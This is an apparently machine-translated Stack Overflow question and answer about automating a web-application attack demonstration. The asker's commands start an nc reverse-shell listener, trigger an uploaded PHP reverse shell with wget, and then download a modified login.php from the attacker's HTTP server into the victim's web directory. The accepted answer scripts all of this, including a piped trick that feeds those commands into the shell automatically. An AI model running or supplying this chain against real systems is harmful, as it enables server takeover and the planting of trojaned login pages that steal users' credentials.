linux - 如何自动化 bash 脚本

标签 linux bash cmd terminal

美好的一天,好人!

我正在尝试编写一个脚本,让我能够展示用于攻击 Web 应用程序的 PoC,目前它需要我打开多个不同的进程和终端并在特定终端中执行命令,然后切换回其他终端。

我想要执行以下操作:

  • 终端 0:
  • 启动http服务器> python -m SimpleHTTPServer 8081
  • 启动终端 1:
  • 启动 shell 监听器 > nc -v -n -l -p 8082
  • 启动终端 2:
  • 启动反向shell > wget "172.16.0.XXX/upload/16/rs/rs.php"
  • 航站楼 1(NC 内):
  • 浏览目录 > cd var/www/users/
  • 下载修改后的页面> wget "10.13.37.128:8081/login.php"
  • 星号航站楼 3:
  • 打开 Firefox 并浏览至 172.16.0.180/users/login.php

& python -m SimpleHTTPServer 8081

& terminal -e nc -v -n -l -p 8082

wget "172.16.0.180/upload/16/rs/php-reverse-shell.php"

cd var/www/users #Problem is here, how do i switch back to the nc terminal?

wget "10.13.37.128:8081/login.php"

令我困惑的是当我需要时在特定终端之间切换。为此编写一个宏是否有意义,或者是否可以做到这一点?任何帮助将不胜感激!

最佳答案

启动各种终端的脚本怎么样?

gnome-terminal -e 'python -m SimpleHTTPServer 8081'
gnome-terminal -e 'nc -v -n -l -p 8082'
gnome-terminal -e 'wget "172.16.0.XXX/upload/16/rs/rs.php"'
gnome-terminal -e 'wget "10.13.37.128:8081/login.php"'
gnome-terminal -e 'firefox "http://172.16.0.180/users/login.php"'

对于“数控问题”,我建议一个简单的技巧:

(sleep 3 ; echo cd var/www/users/ ; echo wget "10.13.37.128:8081/login.php") | nc -v -n -l -p 8082

关于linux - 如何自动化 bash 脚本,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/40887152/

相关文章:

linux - BASH 脚本中的 CURL 错误

c++ - 通过linux终端将数据发送到另一个进程的stdin

windows - 作为 CMD 变量的特定以太网的 IP 地址

linux - 对许多文件一个一个地应用排序命令

linux - 通过 ssh 传递外部 shell 脚本变量

java - 命令行显示不同的 Java 版本

windows - 在 Windows 命令行中将子文件夹上传到 FTP

linux - C linux 中的 Makefile 错误

linux - 如何通过命令行在 VPS 上安装 Firefox?

linux - 如果文件路径包含通配符 (*),则创建或复制文件将不起作用